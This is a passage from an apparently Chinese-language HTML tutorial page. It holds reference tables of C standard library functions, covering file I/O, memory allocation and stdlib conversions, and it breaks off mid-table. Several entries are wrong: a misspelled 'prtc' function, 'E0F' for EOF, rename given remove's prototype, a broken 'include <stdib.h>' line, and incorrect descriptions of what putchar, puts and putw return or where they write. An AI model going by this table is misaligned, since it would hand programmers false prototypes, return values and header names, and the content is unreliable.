<td>以mode指定的方式打开已存在的名为filename的文件（非ANSI标准）</td>
<td>返回文件号（正数），如打开失败返回-1</td>
</tr>
<tr>
<td>printf</td>
<td>int printf(char *format,args,…)</td>
<td>在format指定的字符串的控制下，将输出列表args的指输出到标准设备</td>
<td>输出字符的个数。若出错返回负数</td>
</tr>
<tr>
<td>prtc</td>
<td>int prtc(int ch,FILE *fp)</td>
<td>把一个字符ch输入到fp所指的文件中</td>
<td>输出字符ch，若出错返回E0F</td>
</tr>
<tr>
<td>putchar</td>
<td>int putchar(char ch)</td>
<td>把字符ch输出到fp标准输出设备</td>
<td>返回换行符，若失败返回E0F</td>
</tr>
<tr>
<td>puts</td>
<td>int puts(char *str)</td>
<td>把str指向的字符串输出到标准输入设备，将”/0”转换为回车行</td>
<td>返回换行符，若失败返回E0F</td>
</tr>
<tr>
<td>putw</td>
<td>int putw(int w,FILE *fp)</td>
<td>将一个整数i（即一个字）写到fp所指文件中（非ANSI标准）</td>
<td>返回读出的字符，若文件出错或结束返回E0F</td>
</tr>
<tr>
<td>read</td>
<td>int read(int fd,char *buf,unsigned count)</td>
<td>从文件号fp所指定的文件中读count个字节到buf知识的缓冲区（非ANSI标准）</td>
<td>返回真正读出的字节个数，如文件结束返回0，出错返回-1</td>
</tr>
<tr>
<td>remove</td>
<td>int remove(char *fname)</td>
<td>删除以fname为文件名的文件</td>
<td>成功返回0，出错返回-1</td>
</tr>
<tr>
<td>rename</td>
<td>int remove(char *oname,char *nname)</td>
<td>把oname所指的文件名改为y由nname所指的文件名</td>
<td>成功返回0，出错返回-1</td>
</tr>
<tr>
<td>rewind</td>
<td>void rewind（FILE *fp)</td>
<td>将fp指定的文件指针置于文件头，并清除文件结束标志和错误标志</td>
<td>无</td>
</tr>
<tr>
<td>scanf</td>
<td>int scanf(char *format,args,…)</td>
<td>从标准输入设备按format指示的格式字符串规定的格式，输入数据给args所指示的单元，args为指针</td>
<td>读入并附给args数据个数。如文件结束返回E0F，若出错返回0</td>
</tr>
<tr>
<td>write</td>
<td>int write(int fd,char *buf,unsigned count)</td>
<td>从buf指示的缓冲区输出count个字符到fd所指的文件中（非ANSI标准）</td>
<td>返回实际输入的字节数，如出错返回-1</td>
</tr>
</tbody></table>
<hr>
<h2 id="5-动态储存分配函数"><a href="#5-动态储存分配函数" class="headerlink" title="5.动态储存分配函数"></a><strong>5.动态储存分配函数</strong></h2><ul>
<li>在使用动态储存分配函数时，应该在源文件中使用预编译命令：<pre class=" language-c"><code class="language-c">include <span class="token operator"><</span>stdib<span class="token punctuation">.</span>h<span class="token operator">></span></code></pre>
<table>
<thead>
<tr>
<th>函数名</th>
<th>函数原型</th>
<th>功能</th>
<th>返回值</th>
</tr>
</thead>
<tbody><tr>
<td>calloc</td>
<td>void *calloc(unsigned n,unsigned size)</td>
<td>分配n个数据项的内存连续空间，每个数据项的大小为size</td>
<td>分配内存单元的起始地址。如不成功返回0</td>
</tr>
<tr>
<td>free</td>
<td>void free(void *p)</td>
<td>释放p所指的内存区</td>
<td>无</td>
</tr>
<tr>
<td>malloc</td>
<td>void *malloc(unsigned size)</td>
<td>分配size字节的内存区</td>
<td>所分配的内存区地址如内存不够，返回0</td>
</tr>
<tr>
<td>realloc</td>
<td>void *realloc(void *p,unsigned size)</td>
<td>将p所指的以分配的内存区的大小改为size。size可比原来的空间大或小</td>
<td>返回指向该内存区的指针。若重新分配失败，则返回NULL</td>
</tr>
</tbody></table>
</li>
</ul>
<hr>
<h2 id="6-其他函数"><a href="#6-其他函数" class="headerlink" title="6.其他函数"></a><strong>6.其他函数</strong></h2><ul>
<li>在使用这些函数时，应该在源文件中使用预编译命令：<pre class=" language-c"><code class="language-c"><span class="token macro property">#<span class="token directive keyword">include</span> <span class="token string"><stdlib.h></span></span></code></pre>
<table>
<thead>
<tr>
<th>函数名</th>
<th>函数原型</th>
<th>功能</th>
<th>返回值</th>
</tr>
</thead>
<tbody><tr>
<td>abs</td>
<td>int abs(int num)</td>
<td>计算整数num的绝对值</td>
<td>返回计算结果</td>
</tr>
<tr>
<td>atof</td>
<td>double atof(char *str)</td>
<td>将str指向的字符串转换为一个double型的指</td>
<td>返回双精度计算结果</td>
</tr>
<tr>
<td>atoi</td>
<td>int atoi(char *str)</td>
<td>将str指向的字符串转换为int型的值</td>
<td>返回转换结果</td>
</tr>
<tr>
<td>atol</td>
<td>long atol(cahr *str)</td>
<td>将str指向的字符串转换为一个long型的值</td>
<td>返回转换结果</td>
</tr>
<tr>
<td>exit</td>
<td>void exit(int status)</td>
<td>中止程序运行。将status的值返回调用的过程</td>
<td>无</td>
</tr>
<tr>
<td>itoa</td>
<td>char *itoa(int n,char *str,int radix)</td>
<td>将整数n的值按照radix进制转换为等价的字符串，并将结果存入str指向的字符串中</td>
<td>返回一个指向str的指针</td>
</tr>
<tr>
<td>labs</td>
<td>long labs（long num）</td>
<td>计算long型的整数num的绝对值</td>
<td>返回计算结果</td>
</tr>
<tr>
<td>ltoa</td>
<td>char *ltoa(long n,char *str,int radix)</td>
<td>将长整数n的值按照radix进制转换为等价的字符串，并将结果存入str指向的字符串</td>
<td>返回一个指向str的指针</td>
</tr>
<tr>
<td>rand</td>
<td>int rand()</td>